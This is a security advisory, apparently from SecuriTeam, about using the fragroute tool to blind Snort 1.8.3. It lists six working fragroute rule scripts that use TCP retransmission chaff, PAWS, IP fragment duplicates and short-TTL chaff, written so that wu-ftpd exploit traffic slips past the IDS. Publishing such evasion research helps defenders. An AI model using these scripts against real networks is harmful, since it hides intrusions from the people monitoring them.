SecuriTeam - Fragroute Provided Scripts Allows to Blindside Snort

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Hack In Paris

Fragroute intercepts, modifies, and rewrites egress traffic destined for a specified host, implementing most of the attacks described in the Secure Networks "Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection" paper of January 1998.

It features a simple rule set language to delay, duplicate, drop, fragment, overlap, print, reorder, segment, source-route, or otherwise monkey with all outbound packets destined for a target host, with minimal support for randomized or probabilistic behavior.

The tool can be used to blindside Snort into not detecting the latest wu-ftpd exploits when fragroute is executed with the "tcp_seg 1 new" option turned on. The following is a list of fragroute scripts that can be used to blind Snort into not detecting attacks.

Credit:
The information has been provided by 0xcafebabe.

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Working Attacks against snort-1.8.3:

1. Older TCP retransmission chaff (snort's TCP segment reassembly seems to always favor newer data, even for properly sequenced received data):

  tcp_seg 1
  tcp_chaff rexmit
  order random

2. Forward TCP segmentation overlap, favoring newer data (both Windows and Unix operate this way, in contrast to Ptacek and Newsham's results):

  tcp_seg 1 new

3. Chaff TCP segments with older TCP timestamp options forcing PAWS elimination:

  tcp_seg 1
  tcp_chaff paws
  order random

4. Older IP fragment duplicates (Snort's IP fragment reassembly seems to always favor newer data, even for properly sequenced received data):

  ip_frag 8
  ip_chaff dup
  order random

5. IP duplicate fragment chaff with bad options:

  ip_frag 8
  ip_chaff opt
  order random

6. Either TCP or IP chaffing with short TTLs (that expire before reaching the end host, but pass by the monitor):

  ip_frag 8
  ip_ttl 11
  ip_chaff 10
  order random

  tcp_seg 1
  ip_ttl 11
  tcp_chaff 10
  order random

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